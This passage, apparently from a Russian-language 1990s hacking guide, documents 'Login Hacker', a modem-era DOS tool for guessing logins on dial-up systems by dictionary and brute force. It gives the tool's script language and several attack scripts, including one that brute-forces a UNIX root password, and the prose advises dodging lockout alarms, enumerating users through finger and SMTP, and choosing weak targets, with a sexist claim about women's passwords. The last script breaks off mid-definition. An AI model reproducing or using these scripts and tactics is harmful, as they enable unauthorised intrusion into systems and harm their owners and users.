UNIX-программу login) пароль и логин, а затем еще и сама регистрируется за

него.

**Взлом систем через древний Login Hacker**

Эта большая и весьма гибкая программа предназначена для взлома многих

систем. Чтобы проникнуть в систему, вы можете использовать три прилагаемых к

программе файла-словаря, а также Brute Force Generator. Эта программа также

может использоваться системными администраторами для проверки их систем на

вшивость. Авторы этой программы предостерегают вас: не стоит пользоваться

этим софтом в преступных целях, отвечать перед законом будете только вы

сами. Но, с другой стороны, если вы напишите хороший скрипт (сценарий),

автор этой программы надеется, что вы пришлете исходник по адресу:

vh@campus.de.

Конечно, большинство систем находится под строгим наблюдением и многие

терпят неудачу при попытках регистрации (срабатывает система защиты, тревога

и новичок получает путевку в не столь отдаленные места). Многие серверы бьют

тревогу уже после десяти неудачных попыток зарегистрироваться и, как

правило, системный администратор знает что делать дальше. Впрочем, в Unix

имеются некоторые дыры, позволяющие подбирать пароль и имя пользователя

практически без срабатывания системы защиты сервера, то есть в конце-концов

вы входите в ситему. Для этого вам нужен отработанный в интерактивном режиме

скрипт и знание некоторых команд Unix.

Эту программу вы можете эффективно использовать в старых

телекоммуникационных системах, в которых число попыток зарегистрироваться

неограничено.

Для чего нужен взлом? Конечно, для того, чтобы войти в систему. С

другой стороны, автор этой программы запрещает пользоваться ей для получения

контроля над всей системой. Эта программа предназначена прежде всего для

тех, кто хочет получить только один экаунт. Если его зарубят, вы можете

снова воспользоваться этой программой. Только для этого. Никакого криминала.

Многие пароли подбираются легко. Это относится к паролям так называемых

средних пользователей. Подбирать пароль, соответствующий экаунту ситемного

администратора весьма-весьма чревато. Например, в Unix при этом срабатывает

специальная система защиты и возникает сообщение об ошибке (auth.crit):

CRITICAL. В системах NetWare подобная система начинает функционировать уже

после неудачных регистраций. Помните, что практически все системы позволяют

регистрироваться в качестве системного администратора только с той консоли,

которая принадлежит серверу с главной системой. Поэтому никогда не

взламывайте роотуров, системных администраторов, крутых менеджеров и других

сетеподобных личностей.

После того, как вы войдете в систему, последняя станет весьма уязвимой.

Попробуйте получить текстовой файл с описанием модернизации сервера, затем

узнайте, какие имеются дырки. Если возникнут проблемы, попытайтесь получить

помощь у знакомого вам хакера.

Каких пользователей можно легко взламывать? Как правило, пароли женщин

подбираются легче (они обычно используют гостевую систему регистрации), чем

пароли мужчин. Попробуйте узнать настоящее имя пользователя, а уже затем

подобрать его логин, затем любые женские имена, слова из жаргона

футболистов, цифры 123, слова типа "secret" и т.д. В системах Unix для того,

чтобы узнать логин пользователя, можно воспользоваться командой finger или

через команду telnet воткнуться в smtp-порт и получить полные имена

пользователей.

Обычно, когда осуществлена связь с запаролированной системой по

телефонной линии, выводится приглашение "PASSWORD:". или вообще экран

оказывается пустым.

Важно: Достаточно легко взломать так называемые Silent Carriers.

Делается все посредством скрипта программы Login Hacker.

**Файлы программы**

**LOGINH.EXE**

Программа Login Hacker.

**LH-COMP.EXE**

Компилятор для скриптов.

**X00.EXE**

Драйвер Fossil. Используйте этот драйвер при выполнении программы.

Загружается драйвер так: X00.EXE E 2

**FILE\_ID.DIZ**

Краткая информация о программе.

**HISTORY.DOC**

Библиография программы.

**LOGINH.DOC**

Документация.

**SCRIPT.DOC**

Документация по скриптам.

**RESULT.DOC**

Результат в виде кодов, полученный после выполнения Login Hacker.

**UPDATE.DOC**

Информация о том, как можно обновить программу.

**VH\_BASE.DIC**

Основной словарь.

**LH&SCAVE.TXT**

Пример скрипта, который используются вместе с Scavenger Dialer.

**THC&SCAV.SCR SCAVENGER**

Пример скрипта, который нужен скрипту LH&SCAVE.TXT.

**REBREAK.SCR**

Пример Scavenger-скрипта. Он нужен для скрипта LH&SCAVE.TXT.

**HANGUP.SCR**

Пример скрипта, который нужен скрипту LH&SCAVE.TXT.

**PICKUP.SCR**

Пример скрипта, который нужен скрипту LH&SCAVE.TXT.

**THC-LH\_1.TXT**

Первый пример, показывающий применение языка скриптов.

**THC-LH\_2.TXT**

Второй пример, показывающий применение языка скриптов.

**DEC-SERV.TXT**

Хорошо опробованный скрипт (автор: Tron).

**PASSCODE.TXT**

Другой скрипт (автор: Mind Maniac).

**THC.NFO**

Очень важно! Все, что касается известного сообщества.

**LORE.COM**

Исполняемый скрипт для LORE BBS (автор: Plasmoid).

**LOGINH.CFG**

Кофигурационный файл.

**LOGINH.LOG**

Созданный конфигурационный файл. Если конфигурационный файл уже

существует, то все данные будут добавлены в его конец. Этот файл может быть

определен в соответствующем скрипте или через саму программу в Hacking

Setup.

**LOGINH.SCR**

Скрипт, созданный компилятором LH-COMP.EXE. Только такие скрипты могут

быть загружены в Login Hacker.

**LOGINH.HCK**

Если произошло вынужденное прерывание программы, то создается этот файл

с подобным расширением. Этот файл данных указывает на установки,

соответствующие первоначальным данным словаря Brute Force Generator. Если

снова произошел сбой, то программа выдаст сообщение с запросом о том, нужно

ли использовать данные из этого файла. Это дает вам возможность прервать

сессию и использовать предыдущие данные в новой атаке. Помните, что этот

файл не является скриптом. Это файл регистрации. Если вы записываете в этот

файл данные, полученные от другой атаки, программа все равно попросит вас

использовать только данные предыдущей атаки.

**Команды и параметры**

Первая и самая главная команда программы Login Hacker со всеми

возможными параметрами выглядит так:

LOGINH.EXE [scriptfile]/[anything] [-Auto] [-Shh:mm] [Ehh:mm]

**[scriptfile]**

Автоматически загружает скомпилированный скрипт scriptfile и ожидает

ввода ключа для загрузки.

**[anything]**

Если этот параметр не есть существующий файл, то программа запускается

без демонстрационных сообщений.

**[-Auto]**

Этот параметр загружает скрипт без дополнительного ключа.

**[-Shh:mm]**

Начальное время, то есть пошла атака.

**[-Ehh:mm]**

Время, в течение которого происходило сканирование.

**[-T]**

Запуск скрипта в режиме проверки. То есть скрипт не загружается в

модем.

**[-D]**

Активизация режима отладки. В этом режиме вы можете выбрать, какую

команду нужно выполнять дальше.

Вторая, не менее важная команда программы Login Hacker со всеми

возможными параметрами выглядит так:

LH-COMP.EXE [scriptfile]

**[scriptfile]**

Файл, который будет подвергнут процедуре компиляции.

**Использование Login Hacker**

Имеется пять опций, непосредственно влияющих на запуск программы:

**L**

Загрузка откомпилированного скрипта и начало атаки.

**S**

Настройка модема и других основных параметров программы.

**T**

Терминальный режим.

**I**

Некоторая информация.

**Q**

Выход.

**Экран в интерактивном режиме**

Речь идет о том моменте, когда произошла загрузка и запустился скрипт.

Все, что идет из модема, выглядит на вашем экране символами белого цвета.

Все, что записывается в файл регистрации, выглядит на вашем экране

темно-синими символами. Каждое сообщение системы, в том числе CONNECT,

ALARM, HANGUP и ERROR должно отображаться синим цветом. Все вышесказанное

справедливо лишь в том случае, если вы активизировали опцию Print Logoutput

to Screen too.

**Горячие клавиши в режиме On-line**

**ESC**

Пауза или выход из меню.

**F1**

Посказка.

**ALT-B**

Так называемая базовая клавиша. Позволяет спрятать экран.

**ALT-C**

Очистка экрана.

**ALT-D**

Включить или выключить режим отладки.

**ALT-H**

Вызвать меню HangUp.

**ALT-I**

Отобразить на экран статистику и другую дополнительную информацию.

**ALT-J**

Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях).

**ALT-L**

Особое меню регистрации.

**ALT-T**

Загрузить терминальный режим. В этом режиме экран зависает, система

находится под вашим контролем. Вы можете произвести идентификацию

посредством любой из вышеописанных клавиш (кроме ESC). Чтобы выйти из

терминального режима, нажмите ALT-T или ALT-X.

**Описание языка скриптов**

Скрипты -- это изюминка Login Hacker. Поэтому, если вы научитесь писать

хорошие скрипты, то сможете взломать практически любую систему. Конечно это

не относится к новичкам или тем хакерам, которые никогда не программировали

даже на Бэйсике.

Скрипт должен пройти через компилятор, который проверяет его на

вшивость. Поэтому вы можете быть уверены на 99%, что в процессе атаки не

произойдет сбоя по вине плохого скрипта.

Итак, поехали.

Все, что начинается с точки с запятой -- комментарии. Все, что

начинается с двоеточия -- переход на следующую команду.

Четыре строки, начинающиеся с символа # определяют операторы, с которых

начинается специальная часть скрипта.

Оператор #DEFINE определяет переменную.

Оператор #NOCARRIER осуществляет автоматический возврат в программу в

случае аварийного прерывания сессии, то есть без команды hangup.

Оператор #START активизирует загрузку скрипта.

Оператор #END заканчивает выполнение скрипта.

Все переменные являются необязательными. Исключение составляют

переменные logfile и phone\_nr. Вы не можете определять какие-либо

переменные, за исключением тех, которые описаны ниже.

**LOGFILE=FILENAME**

Определить файл регистрации и место на диске для этого файла. Это

важная переменная используется при написании любого скрипта.

Например:

LOGFILE=C:\OUTPUT\NY-SYS5.LOG

PHONE\_NR=NUMBER

Эта переменная используется вместе с командой DIAL. Ее тело может

состоять как из цифр, так и из букв. Это вторая переменная, которую всегда

используют при написании скриптов.

Например:

PHONE\_NR=1-800-WHO-CARES

INIT\_MODEM=STRING

Если ваш модем должен работать в режиме Pulse Dialing, то поместите

перед телефонным номером аргумент P. Если же ваш модем не может

инициализировать строковые данные, поместите перед соответствующим

телефонным номером команду AT (если эта команда отстствует в Hacker Setup).

Например:

INIT\_MODEM=Z

(здесь также может стоять аргумент AT Z)

**INIT\_DATA=STRING**

Инициализация каналов передачи данных, в том числе стоповых битов и

битов четности. Переменная используется в том случае, если соответствующие

параметры отсутствуют в Hacker Setup. В общем случае аргументами этой

переменной являются наборы символов 8N1 и 7E1, то есть аргумент всегда

должен состоять из трех символов. Первый символ -- это цифры 7 или 8,

являющиеся битами данных. Второй символ может быть записан как P (контроль

по нечетности), E (контроль по четности) или N (не контролировать биты

данных). Третий символ соответствует ситуации, когда на первый стартовый бит

налагается первый стоповый бит:

7/8+E/P/N+1/2.

**DIAL\_TRIES=NUMBER**

Эта переменная определяет количество попыток набора номера в диапазоне

от 0 до 65535. Ноль соответствует бесконечному набору номера. Если номер

набран, загружается HANGUP и остальная часть скрипта.

Например:

DIAL\_TRIES=3

Standard : 0

Важно: Если эта переменная отсутствует в скрипте, то будут использованы

установки, соответствующие файлу LOGINH.CFG.

**LOGIN\_TRIES=NUMBER**

Эта переменная определяет количество попыток входа в систему в

диапазоне от 0 до 2300000000. Ноль соответствует неограниченной попытке

зарегестрироваться. Если в файле словаря будет достигнут так называемый

конец кадра (EOF), то скрипт автоматически повесит трубку и прекратит

сессию. Время, в течение которого будет осуществляться подбор

регистрационных данных зависит от команд прицепки SEND\_NEXT\_DIC, NEXT\_DIC

или им аналогичных для словаря Brute Force Generator.

Например:

LOGIN\_TRIES=0

Standard: 0

Важно: Если эта переменная отсутствует в скрипте, то в атаке будут

использованы установки, соответствующие файлу LOGINH.CFG.

**DIC(NUMBER)=FILENAME**

Определить словарь, который будет использован соответствующим скриптом.

Аргумент DIC указывает на существующие файлы словарей. Вы можете прицепить к

скрипту от одного до трех словарей. Используйте для этого команды

Send\_Next\_DIC (1), Send\_DIC (1) и Next\_DIC (1).

Например:

DIC(1)=C:\HACKING\DICTIONA.RY\BAD\_PWS.DIC

**FROM\_DIC(NUMBER)=STRING**

Определить слово, начиная с которого можно использовать словарь в

скрипте.

Например: FROM\_DIC(1)=Tracy

**BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER**

Определить словарь Brute Force Generator для использования в скрипте.

Brute Force Generator весьма гибок. Четыре параметра словаря Brute Force

Generator разделены запятой. Ниже описывается приемлемая спецификация этих

параметров.

**1**

a=буквы нижнего регистра.

A=буквы верхнего регистра.

1=цифры.

$=спецсимволы.

^=так называемые контролируемые символы.

Любые синонимы ASCII.

**2**

Этот параметр сообщает скрипту, какое количество различных символов,

соответствующих параметру 1 необходимо этому скрипту.

Каждое сгенерированное слово, соответствующее параметру 1 всегда

имеется в таком же слове, соответствующим параметру 2. Символ верхнего

регистра и один номер допустимы. Величина, соответствующая нулю неприемлема.

**3**

Сообщает скрипту возможную минимальную длину для символов пароля,

подобранного при использовании словаря Brute Force Generator.

**4**

Возможная максимальная длина для символов пароля, подобранного при

использовании словаря Brute Force Generator.

Важно: Минимальная длина символов равна 1, максимальная соответствует

12.

Помните, что вы можете использовать в атаке до трех словарей Brute

Force Generator. Используйте для этого великолепные команды привязки

Next\_Brute(1), Send\_Next\_Brute(1) и Send\_Brute(1).

Например:

BRUTE(1)=a,1,1,6

В этом примере используется первый параметр Brute Force Generator со

следующими данными: проверять только символы нижнего регистра; предположить,

что при подборе пароля в словаре присутствует хотя бы один действительный

символ; минимальная длина регистрационного слова равна единице, максимальная

-- шести.

**FROM\_BRUTE(number)=STRING**

Начать инициализацию со словарем Brute Force Generator. При этом важно

следующее: если инициализация началась с четвертой буквы, а вы

просматриваете диапазон от 1 до 8 буквы, то диапазон от 1 до 3 будет

игнорироваться, то есть сначала идет подбор aaaa, затем aaab, затем aaac и

т.д.

Например:

FROM\_BRUTE(1)=2527

**Секция #NOCARRIER**

Это будет выполняться всякий раз, когда вы не используете команду

HANGUP. Если в скрипте отсутствуют операторы GOTO (\*START) или GOTO (1), то

дальше он выполняться не будет. Это означает, что вы снова должны набрать

модемный номер доступа к системе. Поэтому проверьте установки в DIAL\_TRIES.

**Секция #START**

В этой важной секции описываются операторы, которые в дальнейшем будут

ломать систему.

**LOG(STRING)**

Команда LOG() записывает в файл регистрации некоторую информацию. Это

может быть любой текст, переменные, перед которыми всегда должен стоять знак

$ (знак доллара), а также пробелы между словами. В конец строки каждая

команда LOG() автоматически печатает возврат каретки.

Примеры:

LOG(Beginning on $DATE \* $TIME)

Будет выведено следующее:

"Beginning on 24-12-96 \* 23:00"

LOG\_(STRING)

Этот пример аналогичен вышеприведенному, за исключением того, что после

текста отсутствует CRLF (End-Of-Line).

**:NUMBER**

Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.

Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера

неприемлемы. Переход к нужному маркеру осуществляется командами передачи

управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.

Например: :1

В этом примере на соответствующую строку выполняется переход к точке с

номером 1.

**GOTO(NUMBER)**

Передать управление на маркировку перехода. Вы можете также осуществить

переход командами #START, #NOCARRIER и #END.

Например: GOTO(#END) (выполнение скрипта завершено).

**GOSUB(NUMBER)**

С командой подстановки GOSUB вы осуществляете переход к следующей

маркировке. Команда GOSUB, как правило исполняется уже после перехода на

следующий маркер, то есть в тот момент, когда команды GOSUB и RETURN

столкнутся между собой. Обратите внимание, что вот такая команда невозможна:

GOSUB(#END).

Например: GOSUB(4)

**RETURN**

Это так называемая команда выхода из подпрограммы. Используя эту

команду, вы можете возвратиться к местоположению последней выполненной

команды GOSUB и продолжить обычное выполнение скрипта. Если в буферном

регистре команда RETURN сталкивается с несуществующим начальным адресом

GOSUB, то она будет игнорироваться. В одном буферном регистре вы можете

иметь до 255 подстановок GOSUB.

Например: RETURN

**CHECK4CARRIER(NUMBER)**

Проверка модема на соединение с линией, то есть проверка на несущую

частототу. Команда будет выполняться в случае отсутствия перехода к

указанной маркировке (переход соответствует команде GOTO). Если переход

обнаружен, то устанавливается внутреннее соединение с переменной TRUE для

проверки на NO\_CARRIERS. Вы можете также осуществлять процедуры перехода к

\*NOCARRIER, \*START и \*END. Также возможно осуществить проверку модема только

на ON или OFF. Если команда CHECK4CARRIER(ON) выполнена с переходом к

маркеру, отмечающему обнаружение линии, и, если представлен NOT, то

управление передается на \*NoCarrier. Эта команда полезна только в том

случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать

команду DIAL, чтобы соединиться с удаленной системой (позвольте набрать

номер SCAVENGER DIALER).

Примеры:

CHECK4CARRIER(#NOCARRIER)

CHECK4CARRIER(5)

CHECK4CARRIER(ON)

CHECK4CARRIER(OFF)

CHECK4OUTPUT(NUMBER)

Это будет выполнено подобно нижеописанной функции ALARM: Если выходной

сигнал (OUTPUT) модема обнаружен, то переходы будут осуществляться

непосредственно к указанной маркировке. Вы можете также передать управление

к \*NOCARRIER, \*START и \*END. Также возможно отключить проверку на OFF, то

есть заблокировать указанную проверку выходного сигнала.

Например:

CHECK4CARRIER(#NOCARRIER)

CHECK4CARRIER(5)

CHECK4CARRIER(OFF)

**DIAL**

Набор номера PHONE\_NR. Если с системой нет соединения, то сначала в

модем будет послана команда: "Повесить трубку!".

Например: DIAL

**HANGUP**

Поднять и опустить трубку.

Например: HANGUP

**WAIT4STRING(NUMBER,STRING,NUMBER,**

**COMMAND,STRING)**

В представленном здесь языке скриптов это самая важная команда. После

ее выполнения выходной сигнал модема будет находиться в состоянии ожидания.

В этот момент должна начаться загрузка специального слова. Если стыковка

осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем

будет отправлена заданная последовательность, затем -- вновь таймаут и,

наконец, идет выполнение команды.

Важно: Сначала команда WAIT4STRING проверяет текущую строку с

представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).

**a**

Определить таймаут в диапазоне от 0 до 255 секунд. Ноль соответствует

неограниченному ожиданию, то есть ждать до тех пор пока не наступит так

называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,

если данные не поступают из модема в течение пяти минут). Если ничего не

получено, то последовательность в потоке данных распознается снова, или в

какой-то момент несущая частота объявляется потерянной.

**b**

Последовательность данных, которая будет послана в модем после

таймаута.

**c**

Частота отказов или количество общего времени, в течение которого может

выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый

раз).

**d**

Выполнение специальной фатальной команды. Это могут быть любые команды,

исключая: ALARM, WAIT4STRING и IF.

**e**

Последовательность данных для ожидания. Данные чувствительны к

регистру.

Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)

В этом примере происходит ожидание последовательности ogin: в течение

15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),

то команда снова ждет 15 секунд, пока вновь не наладится стыковка с

последовательностью данных ogin:.

Как только истекут следующие 15 секунд, вызывается фатальная команда,

что означает переход к GOTO с меткой под номером 1.

**LOG\_SESSION\_ON**

Начиная с этого пункта, все данные поступающие из модема записываются в

файл регистрации.

Например: LOG\_SESSION\_ON

**LOG\_SESSION\_OFF**

Если содержимое экрана записано в файл регистрации, то к этому пункту

больше не будет обращений.

Например: LOG\_SESSION\_OFF

**SEND(STRING)**

Команда SEND передает последовательность данных в модем. Через эту

команду вы можете пересылать в модем переменные со знаком $. В конец

последовательности передается возврат каретки. Если последовательность

данных не задана, то сразу осуществляется переход на возврат каретки.

Например:

SEND(echo Hacked you system Time: $TIME - Date:

$DATE > HACKED.TXT)

В данном примере команда SEND посылает в модем следующую строку:

echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT

**SEND\_()**

Эта команда аналогична вышеописанной, но она не посылает в модем символ

возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем

только один символ или командный режим +++.

Примеры:

SEND\_(n)

SEND\_(+++)

**SEND\_NEXT\_DIC(NUMBER)**

Например: SEND\_NEXT\_DIC(1)

**SEND\_DIC(NUMBER)**

Переслать текущий словарь в модем.

Например: SEND\_DIC(1)

**NEXT\_DIC(NUMBER)**

Переместиться на слово, соответствующее аргументу NUMBER.

Например: NEXT\_DIC(1)

**SEND\_NEXT\_BRUTE(NUMBER)**

Используя Brute Force Generator, сгенерировать следующую допустимую

последовательность и переслать ее в модем.

Например: SEND\_NEXT\_BRUTE(1)

**SEND\_BRUTE(NUMBER)**

Переслать в модем текущую последовательность допустимых данных из

словаря Brute Force Generator.

Например: SEND\_BRUTE(1)

**NEXT\_BRUTE(NUMBER)**

Сгенерировать следующую допустимую последовательность данных из словаря

Brute Force Generator.

Например: NEXT\_BRUTE(1)

**IF VARIABLE OPERATOR STRING THEN COMMAND**

Команда IF первой версии этой программы не очень гибкая. Синтаксис этой

команды следующий:

IF THEN

Означает равносильность при аргументе =, больше или меньше при

аргументах < или > соответственно и переменную содержащую любую

последовательность слов при аргументе **~**. Переменные и последовательности

должны быть дискретными переменными.

Эта команда выполнится в том случае, если будет соблюдено условие TRUE.

Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.

Например:

IF STRING~ogin THEN GOTO(3)

То есть, если текущая строка (STRING) содержит дискретную (~)

последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.

**EXECUTE(STRING)**

Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить

переменные в выполняему строку. Вы также должны выполнить соответствующие

внутренние команды MS DOS. Помните, что перед переменной может стоять знак $

с возможными пробелами позади и впереди самого знака.

Важно: Если вы хотите запустить программу в то время, когда по вашему

скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В

противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед

выполнением программы Login Hacker.

Важно: Чтобы ваша программа не была повреждена, предварительно

сохраните ее в каталоге отличном от исходного.

Примеры:

EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)

EXECUTE(COPY $LOGFILE C:\HACKED)

ALARM(STRING,COMMAND)

Опасно! Нажимать на спусковой крючок! Если на удаленном компьютере

сработала система защиты, то вы будете активны до тех пор, пока не

выполнится эта команда.

**STRING**

Последовательность, для которой осуществляется поиск данных с их

последующей передачей в модем.

**COMMAND**

Эта команда будет выполнена после стыковки. Чтобы ее использовать,

просмотрите листинг команд для WAIT4STRING. Примените эту команду в том

случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые

вопросы. После этой команды вы автоматически прервете соединение и

остановите выполнение скрипта.

Например:

ALARM(chat,GOTO(#END))

**SET VARIABLE=STRING**

Этой командой вы определяете переменную в секции #START или #NOCARRIER.

Если переменная является статической переменной, то вы должны это отметить.

Вы должны устанавливать только следующие переменные: STRING, DIAL\_TRIED,

LOGIN\_TRIED, S\_TMP и D\_TMP.

Например:

SET D\_TMP=3

Определить статическую переменную D\_TMP в качестве 3.

**INC(DIGIT\_VARIABLE)**

Увеличить число указанной переменной на 1. Эта команда будет выполнена

лишь в том случае, если переменная после дополнения не находится в указанном

диапазоне.

Имеют силу следующие команды: DIAL\_TRIES, DIAL\_TRIED, LOGIN\_TRIES,

LOGIN\_TRIED и D\_TMP.

Например: INC(D\_TMP)

**DEC(DIGIT\_VARIABLE)**

Уменьшить чило указанной переменной на 1. Эта команда будет выполнена

лишь в том случае, если переменная после вычитания не будет находиться вне

указанного диапазона.

Имеют силу следующие команды: DIAL\_TRIES, DIAL\_TRIED, LOGIN\_TRIES,

LOGIN\_TRIED и D\_TMP.

Например:

DEC(D\_TMP)

**WAIT(NUMBER)**

Ожидать до тех пор, пока идут секунды, определенные аргументом NUMBER.

Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.

Например: WAIT(10) (десять секунд)

**WAIT\_(NUMBER)**

Ожидать до тех пор, пока идут миллисекунды, определенные аргументом

NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до

65535.

Например: WAIT(500) (полсекунды)

**BEEP**

Создает сигнал, похожий на легкий звук бибикалки!

**Переменные и управляющие символы**

Речь идет о переменных, которые могут быть использованы в командах

SEND() или LOG(). Как уже отмечалось, закачка переменных в модем или файл

регистрации определяется символом $ (доллара), поставленным перед

соответствующей переменной, и пробелами. Вы можете использовать #DEFINE

любые специфические переменные. Вам их нужно только определить.

**STRING**

Символы пересылаются из модема в последнюю строку.

**STRING2**

Последние 250 символов отправляются из модема.

**DIAL\_TRIED**

Фактические попытки набора номера.

**LOGIN\_TRIED**

Фактические попытки получить имя и пароль.

**TIME**

Действительное время в часах и минутах (двоеточие пропускается).

Например, TIME=1505 означает 15:05.

**DATE**

Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.

**DIC(1)**

Текущий загруженный словарь 1.

**BRUTE(2)**

Текущая строка словаря Brute Force Generator 2.

**S\_TMP**

Переменная строка. Вы можете ее использовать, как вам нравится.

**D\_TMP**

Переменная для цифр. Вы можете ее использовать, как вам нравится.

В командах IF и SET вы можете использовать исключительно вышеописанные

переменные. Переменные из #DEFINE исключаются. Только статические переменные

и константы приемлемы для IF! Не нужно также использовать знак $ перед

переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.

Например:

IF TIME>1215 THEN GOTO #END

(отсоединиться после 12:15).

LOG($DIC(3))

**SEND($S\_TMP)**

Теперь относительно спецсимволов. Вы можете записывать любые

управляющие символы вместе с командами LOG, SEND или WAIT4STRING через знак

^ (шапочка). Это означает, что вы можете ввести, например, ^M или написать

^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и

^^.

Например:

SEND\_(^D)

#DEFINE

<определения>

#NOCARRIER

<некоторые команды>

#START

<ваш алгоритм>

#END

**Сообщения об ошибках**

Если в процессе компиляции вы получаете сообщение об ошибке, то

помните, что в вашем распоряжении имеется файл .BAK. Просмотрите и

внимательно изучите содержимое этого файла.

При компилировании скрипта может всплыть только два сообщения об

ошибке:

**WARNING**

Вы что-то не так скомпилировали. Компилятор в любом случае создаст

скрипт, который может запуститься без всяких проблем. Это сообщение,

например, может быть выдано, если невозможно найти указанный словарь.

Возможно, что вы не полностью подготовили копию.

**ERROR**

Это критическая ошибка. В какой-то момент компилятор прервал

необходимую процедуру завершения. Для исправления этой ошибки проверьте файл

с расширением .BAK и ваш исходный файл.

**Пример стандартного скрипта**

#DEFINE

PHONE\_NR=,

LOGFILE=lh&scave.log

DIC(1)=d:\project\hack\word\badpws.dic

; задайте корректный путь к вашему словарю

#NOCARRIER

IF S\_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)

LOG(Carrier lost on $DATE at $TIME)

LOG()

GOTO(#START)

#START

SET S\_TMP=UNDEFINE

;SET S\_TMP=DEFINE

HANGUP

LOG\_SESSION\_ON

SET STRING2=

IF S\_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)

IF S\_TMP=UNDEFINE THEN SEND(AT H1)

EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)

:111

SEND(ATD)

SET D\_TMP=0

:112

WAIT(1)

INC(D\_TMP)

IF D\_TMP>50 THEN GOTO(99)

CHECK4CARRIER(112)

SEND()

; послать возврат каретки после соединения

:1

WAIT(1)

IF STRING2~assw THEN GOTO(2)

GOTO(1)

:2

SEND\_NEXT\_DIC(1)

WAIT(2)

IF STRING2~ncorr THEN GOTO(3)

GOTO(50)

:3

SET STRING2=

:4

WAIT(1)

IF STRING2~assw THEN GOTO(5)

GOTO(4)

:5

SEND\_NEXT\_DIC(1)

WAIT(2)

IF STRING2~ncorr THEN GOTO(6)

GOTO(50)

:6

SET STRING2=

:7

WAIT(1)

IF STRING2~assw THEN GOTO(8)

GOTO(7)

:8

SEND\_NEXT\_DIC(1)

WAIT4STRING(10,,1,GOTO(50),ncorr)

GOTO(99)

:50

BEEP

BEEP

BEEP

LOG(------------- -----------------)---- -------------------)

LOG($DATE $TIME)

LOG()

LOG(PASSWORD: $DIC(1))

LOG()

GOTO(150)

:99

CHECK4CARRIER(OFF)

IF S\_TMP=UNDEFINE THEN GOTO(#START)

EXECUTE(scavenge.exe /s rebreak.scr)

; создание скрипта для перенабора номера и дозвона до цели

GOTO(111)

:150

IF S\_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)

GOTO(#END)

#END

**Первый пример скрипта**

Системный дескриптор: UNIX на F.

Но вы никогда не должны это делать.

#DEFINE

LOGFILE=C:\OUTPUT\NY-SYS5.LOG

PHONE\_NR=I dont tell you ;)

DIAL\_TRIES=3

LOGIN\_TRIES=0

DIC(1)=C:\HACKING\DICTIONA.RY\BAD\_PWS.DIC

#NOCARRIER

BEEP

BEEP

BEEP

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

LOG()

GOTO(#START)

#START

LOG(------------------------- -----)---- -------------------)

LOG(TARGET : $PHONE\_NR ON $DATE - $TIME)

LOG()

:1

LOG(Dialing ...)

DIAL

LOG($STRING)

LOG\_SESSION\_ON

SEND()

SEND()

WAIT4STRING(15,^M,4,GOTO(1),name)

SEND( )

LOG\_SESSION\_OFF

:2

SEND(CONNECT HACK.THIS.SYSTEM.EDU)

:3

WAIT4STRING(30,^C,1,GOTO(2),ogin:)

SEND(root)

WAIT4STRING(20,^D,1,GOTO(2),assword:)

SEND\_NEXT\_DIC(1)

IF STRING~ogin: THEN GOTO(3)

IF STRING~refused THEN GOTO(2)

LOG()

LOG($STRING)

LOG()

LOG(!!!!! WE GOT THROUGH !!!!!!)

LOG(Login : root)

LOG(Password : $DIC(1))

LOG()

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

GOTO(#END)

#END

**Второй пример скрипта**

#DEFINE

INIT\_MODEM=AT&N15

INIT\_DATA=7E1

LOGFILE=C:\OUTPUT\TELEKOM4.LOG

PHONE\_NR=I dont tell you ;)

DIAL\_TRIES=3

LOGIN\_TRIES=0

BRUTE(1)=1,1,1,12

#NOCARRIER

BEEP

BEEP

BEEP

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $BRUTE(1))

LOG()

GOTO(#START)

#START

LOG(-----------------------------------)---- ---------------)

LOG(TARGET : $PHONE\_NR ON $DATE - $TIME)

LOG()

:1

LOG(Dialing ...)

HANGUP

DIAL

LOG($STRING)

WAIT4STRING(15,^M,4,GOTO(1),PA)

:2

SEND\_NEXT\_BRUTE(1)

WAIT4STRING(3,^M,2,GOTO(3),PA)

GOTO(2)

:3

LOG\_SESSION\_ON

SEND()

SEND(?)

SEND(HELP)

SEND(HILFE)

LOG()

LOG(!!!!! WE GOT THROUGH !!!!!!)

LOG(Password : $BRUTE(1))

LOG()

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

GOTO(#END)

#END

**Третий пример скрипта**

Этот скрипт может быть использован на некоторых небесплатных телефонных

линиях 0130-xxxxxx.

; Система требует пароль

; Неограниченное количество попыток позволяет войти в систему

;

; 30xCrLf

; PASSCODE:\*\*\*\*\*

;

#DEFINE

INIT\_MODEM=AT &F L2

INIT\_DATA=8N1

LOGFILE=xxxxxx.LOG

PHONE\_NR=0130xxxxxx

DIAL\_TRIES=5

